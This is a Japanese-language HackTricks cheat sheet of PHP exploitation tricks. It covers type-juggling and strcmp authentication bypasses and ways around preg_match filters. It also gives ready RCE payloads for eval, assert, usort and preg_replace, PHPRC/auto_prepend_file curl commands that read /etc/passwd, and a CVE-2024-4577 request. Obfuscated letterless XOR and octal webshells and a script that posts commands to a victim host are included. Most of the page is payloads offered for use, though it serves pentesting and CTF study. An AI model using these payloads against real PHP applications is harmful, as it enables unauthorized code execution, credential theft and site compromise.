PHP Tricks

Reading time: 29 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

クッキーの一般的な場所:

これはphpMyAdminのクッキーにも当てはまります。

Cookies:

PHPSESSID
phpMyAdmin

場所:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

PHPの比較をバイパスする

緩やかな比較/型ジャグリング ( == )

PHPで==が使用されると、比較が期待通りに動作しない予期しないケースがあります。これは、"=="が同じ型に変換された値のみを比較するためであり、比較されるデータの型も同じであることを比較したい場合は、===を使用する必要があります。

PHPの比較表: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True 数字で始まらない文字列は数字と等しい
  • "0xAAAA" == "43690" -> True 10進数または16進数形式の数字で構成された文字列は、数字が同じであれば他の数字/文字列と比較でき、結果はTrueになります(文字列内の数字は数字として解釈されます)
  • "0e3264578" == 0 --> True "0e"で始まり、その後に何かが続く文字列は0と等しい
  • "0X3264578" == 0X --> True "0"で始まり、任意の文字(Xは任意の文字)で続き、その後に何かが続く文字列は0と等しい
  • "0e12334" == "0" --> True これは非常に興味深いです。なぜなら、場合によっては"0"の文字列入力とそれに対してハッシュされ比較されるコンテンツを制御できるからです。したがって、"0e"で始まり、文字が含まれない値を提供できれば、比較をバイパスできる可能性があります。この形式のすでにハッシュされた文字列はここで見つけることができます: https://github.com/spaze/hashes
  • "X" == 0 --> True 文字列内の任意の文字はint 0と等しい

詳細はhttps://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09を参照してください。

in_array()

型ジャグリングは、デフォルトでin_array()関数にも影響を与えます(厳密な比較を行うには、3番目の引数をtrueに設定する必要があります):

php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

この関数が任意の認証チェック(パスワードの確認など)に使用され、ユーザーが比較の一方を制御できる場合、彼はパスワードの値として文字列の代わりに空の配列を送信することができ(https://example.com/login.php/?username=admin&password[]=)、このチェックをバイパスすることができます:

php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

strcasecmp()でも同じエラーが発生します。

厳密な型のジャグリング

===使用されている場合でも、比較が脆弱になるようなエラーが発生する可能性があります。例えば、比較が比較する前にデータを異なる型のオブジェクトに変換している場合です:

php
(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match()ユーザー入力を検証する ために使用できます(それは ブラックリスト単語/正規表現ユーザー入力存在するかチェック し、存在しない場合はコードの実行を続けることができます)。

New line bypass

しかし、正規表現の開始を区切る際に preg_match()ユーザー入力の最初の行のみをチェック します。したがって、何らかの方法で 複数行 で入力を 送信 できる場合、このチェックを回避できる可能性があります。例:

php
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

このチェックを回避するには、新しい行をURLエンコードした値%0A)を送信するか、JSONデータを送信できる場合は、複数行で送信します:

php
{
"cmd": "cat /etc/passwd"
}

Find an example here: https://ramadistra.dev/fbctf-2019-rceservice

長さエラーのバイパス

(このバイパスは明らかにPHP 5.2.5で試され、PHP 7.3.15では動作しませんでした)
preg_match()に有効な非常に大きな入力を送信できれば、処理できなくなり、チェックをバイパスすることができます。たとえば、JSONをブラックリストにしている場合、次のように送信できます:

bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

ReDoS バイパス

Trick from: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong

要するに、問題は PHP の preg_* 関数が PCRE ライブラリ に基づいているために発生します。PCRE では、特定の正規表現が多くの再帰呼び出しを使用して一致するため、スタックスペースを大量に消費します。再帰の許可数に制限を設定することは可能ですが、PHP ではこの制限は デフォルトで 100,000 であり、スタックに収まる以上の数です。

この Stackoverflow スレッド もこの問題について詳しく説明されている投稿にリンクされています。私たちのタスクは明確でした:
正規表現が 100,000 回以上の再帰を行うような入力を送信し、SIGSEGV を引き起こし、preg_match() 関数が false を返すようにして、アプリケーションが私たちの入力を悪意のないものと考えさせ、ペイロードの最後に {system(<verybadcommand>)} のような驚きを投げかけて SSTI --> RCE --> フラグ :)

さて、正規表現の用語で言えば、実際には 100k の「再帰」を行っているわけではなく、代わりに「バックトラッキングステップ」を数えています。これは PHP ドキュメント によれば、pcre.backtrack_limit 変数でデフォルトは 1,000,000 (1M) です。
それを達成するために、'X'*500_001 は 100 万のバックトラッキングステップ(500k 前方と 500k 後方)を生成します:

python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

PHPの難読化のための型ジャグリング

php
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

PHPが別のページにリダイレクトしているが、ヘッダーLocationが設定された後に**dieまたはexit関数が呼び出されていない**場合、PHPは実行を続け、データをボディに追加します:

php
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

パス・トラバーサルとファイルインクルージョンの悪用

チェック:

File Inclusion/Path traversal

さらなるトリック

  • register_globals: PHP < 4.1.1.1 または誤って設定された場合、register_globals が有効である可能性があります(またはその動作が模倣されています)。これは、グローバル変数のように $_GET に値がある場合、例えば $_GET["param"]="1234" のように、$param を介してアクセスできることを意味します。したがって、HTTP パラメータを送信することで、コード内で使用される変数を上書きできます
  • 同じドメインの PHPSESSION クッキーは同じ場所に保存されます。したがって、ドメイン内で 異なるパスで異なるクッキーが使用されている場合、そのパスが 他のパスのクッキーにアクセスするように設定することができます
    この方法で、両方のパスが同じ名前の変数にアクセスする場合path1 のその変数の値を path2 に適用させることができます。そして、path2 は path1 の変数を有効と見なします(クッキーに path2 に対応する名前を付けることによって)。
  • マシンの ユーザー名 を持っている場合は、アドレス /~<USERNAME> をチェックして、php ディレクトリが有効になっているか確認します。
  • php 設定に register_argc_argv = On がある場合、スペースで区切られたクエリパラメータが array_keys($_SERVER['argv']) の引数配列を埋めるために使用されます。これは CLI からの引数 のように扱われます。この設定がオフの場合、args 配列の値は Null になります。したがって、ウェブから呼び出された場合、ars arry は埋められません。したがって、ウェブページが if (empty($_SERVER['argv'])) { のような比較でウェブとして実行されているか CLI ツールとして実行されているかを確認しようとすると、攻撃者は GET リクエストで ?--configPath=/lalala のようなパラメータを送信することができ、それが CLI として実行されていると考え、これらの引数を解析して使用する可能性があります。詳細は original writeup を参照してください。
  • LFI と RCE を php ラッパーを使用して

password_hash/password_verify

これらの関数は通常、PHP で パスワードからハッシュを生成する ために使用され、ハッシュと比較してパスワードが正しいかどうかを 確認する ために使用されます。
サポートされているアルゴリズムは: PASSWORD_DEFAULTPASSWORD_BCRYPT$2y$ で始まります)。PASSWORD_DEFAULT は頻繁に PASSWORD_BCRYPT と同じであることに注意してください。 現在、PASSWORD_BCRYPT には 入力のサイズ制限が 72 バイト あります。したがって、このアルゴリズムで 72 バイトを超えるものをハッシュしようとすると、最初の 72B のみが使用されます:

php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTPヘッダーのバイパスとPHPエラーの悪用

ヘッダーを設定した後のエラーの発生

このTwitterスレッドから、1000以上のGETパラメータ、1000以上のPOSTパラメータ、または20ファイルを送信すると、PHPはレスポンスにヘッダーを設定しないことがわかります。

これにより、例えばCSPヘッダーがコード内で設定されるのをバイパスすることが可能になります。

php
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

ヘッダーを設定する前にボディを埋める

もしPHPページがエラーを印刷し、ユーザーが提供した入力をエコーしている場合、ユーザーはPHPサーバーに十分に長いコンテンツを印刷させることができ、サーバーがレスポンスにヘッダーを追加しようとするとエラーを投げることになります。
次のシナリオでは、攻撃者がサーバーに大きなエラーを投げさせました。画面で見ると、PHPがヘッダー情報を変更しようとしたとき、できなかったことがわかります(例えば、CSPヘッダーはユーザーに送信されませんでした):

PHP関数におけるSSRF

ページを確認してください:

PHP SSRF

コード実行

system("ls");
`ls`;
shell_exec("ls");

こちらをチェックして、より便利なPHP関数を見つけてください

preg_replace()による RCE

php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

"replace" 引数でコードを実行するには、少なくとも1つの一致が必要です。
この preg_replace のオプションは PHP 5.5.0 以降非推奨です。

Eval() を介した RCE

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

Assert()によるRCE

このphp内の関数は、文字列で書かれたコードを実行することを可能にし、真または偽を返す(これに応じて実行を変更する)。通常、ユーザー変数は文字列の中間に挿入されます。例えば:
assert("strpos($_GET['page']),'..') === false") --> この場合、RCEを得るためには次のようにできます:

?page=a','NeVeR') === false and system('ls') and strpos('a

コードの構文壊しペイロード追加し、再び修正する必要があります。論理演算子を使用できます。例えば、"**and"や"%26%26"、"|"**などです。"or"や"||"は機能しないことに注意してください。最初の条件が真であれば、ペイロードは実行されません。同様に、";"も機能しません。なぜなら、ペイロードは実行されないからです。

別のオプションは、文字列にコマンドの実行を追加することです: '.highlight_file('.passwd').'

別のオプション(内部コードがある場合)は、実行を変更するために変数を修正することです: $file = "hola"

usort()を介したRCE

この関数は、特定の関数を使用してアイテムの配列をソートするために使用されます。
この関数を悪用するには:

php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
php
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

あなたは**//**を使用してコードの残りをコメントすることもできます。

閉じる必要のある括弧の数を発見するには:

  • ?order=id;}//:エラーメッセージ(Parse error: syntax error, unexpected ';')が表示されます。おそらく1つ以上の括弧が不足しています。
  • ?order=id);}//警告が表示されます。それは正しいようです。
  • ?order=id));}//:エラーメッセージ(Parse error: syntax error, unexpected ')' i)が表示されます。おそらく閉じ括弧が多すぎます。

.httaccess経由のRCE

.htaccessアップロードできる場合、いくつかの設定を行い、コードを実行することもできます(.htaccess拡張子のファイルが実行されるように設定すること)。

異なる.htaccessシェルはこちらで見つけることができます。

環境変数経由のRCE

PHPで環境変数を変更することを許可する脆弱性を見つけた場合(ファイルをアップロードするための別の脆弱性も必要ですが、さらに調査すれば回避できるかもしれません)、この動作を悪用してRCEを得ることができます。

  • LD_PRELOAD:この環境変数は、他のバイナリを実行する際に任意のライブラリを読み込むことを許可します(ただし、この場合は機能しないかもしれません)。
  • PHPRC:PHPに設定ファイルの場所を指示します。通常はphp.iniと呼ばれます。独自の設定ファイルをアップロードできる場合、PHPRCを使用してPHPにそれを指し示します。2番目のアップロードファイルを指定する**auto_prepend_fileエントリを追加します。この2番目のファイルには通常のPHPコードが含まれ、他のコードの前にPHPランタイムによって実行されます**。
  1. シェルコードを含むPHPファイルをアップロードします。
  2. ステップ1でアップロードしたファイルを実行するようにPHPプリプロセッサに指示する**auto_prepend_file**ディレクティブを含む2番目のファイルをアップロードします。
  3. ステップ2でアップロードしたファイルにPHPRC変数を設定します。
  • このチェーンを実行する方法についての詳細は元のレポートから取得できます。
  • PHPRC - 別のオプション
  • ファイルをアップロードできない場合、FreeBSDでは/dev/fd/0という"ファイル"を使用できます。これはリクエストのボディを含んでいます:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • またはRCEを取得するために、**allow_url_include**を有効にし、base64 PHPコードを含むファイルを前置きします:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • この技術はこのレポートからです。

XAMPP CGI RCE - CVE-2024-4577

WebサーバーはHTTPリクエストを解析し、http://host/cgi.php?foo=barのようなリクエストを実行するPHPスクリプトに渡します(php.exe cgi.php foo=barとして)。これにより、パラメータの注入が可能になります。これにより、ボディからPHPコードを読み込むために次のパラメータを注入できます:

jsx
-d allow_url_include=1 -d auto_prepend_file=php://input

さらに、PHPの後の正規化により、0xAD文字を使用して"-"パラメータを注入することが可能です。この投稿のエクスプロイト例を確認してください。

jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP サニタイズバイパス & ブレインファック

この投稿では 非常に少ない文字でブレインファック PHP コードを生成するための素晴らしいアイデアを見つけることができます。
さらに、いくつかのチェックをバイパスすることを可能にする関数を実行する興味深い方法も提案されています:

php
(1)->{system($_GET[chr(97)])}

PHP 静的解析

これらの関数への呼び出しにコードを挿入できるか確認してください(こちらから):

php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

PHPアプリケーションをデバッグしている場合は、/etc/php5/apache2/php.inidisplay_errors = Onを追加してエラープリンティングをグローバルに有効にし、apacheを再起動します: sudo systemctl restart apache2

PHPコードのデオブフスケーション

PHPコードをデオブフスケートするには、web www.unphp.net を使用できます。

PHPラッパーとプロトコル

PHPラッパーとプロトコルは、システム内の書き込みおよび読み取り保護をバイパスし、妥協することを可能にする場合があります。 詳細についてはこのページを確認してください

Xdebugの認証されていないRCE

phpconfig()の出力にXdebug有効であることが表示された場合は、https://github.com/nqxcode/xdebug-exploitを介してRCEを取得しようとするべきです。

変数変数

php
$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCEを利用した新しい $_GET["a"]($_GET["b"])

ページ内で任意のクラスの新しいオブジェクトを作成できる場合、RCEを取得できる可能性があります。方法を学ぶには以下のページを確認してください:

PHP - RCE abusing object creation: new $_GET"a"

文字なしでPHPを実行

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

8進数を使用して

php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR easy shell code

この解説 によると、次のようにして簡単なシェルコードを生成することが可能です:

php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

だから、数字と文字なしで任意のPHPを実行できる場合、次のようなリクエストを送信して、そのペイロードを悪用して任意のPHPを実行できます:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

より詳細な説明については、https://ctf-wiki.org/web/php/php/#preg_matchを確認してください。

XOR Shellcode (inside eval)

bash
#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
php
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perlのような

php
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする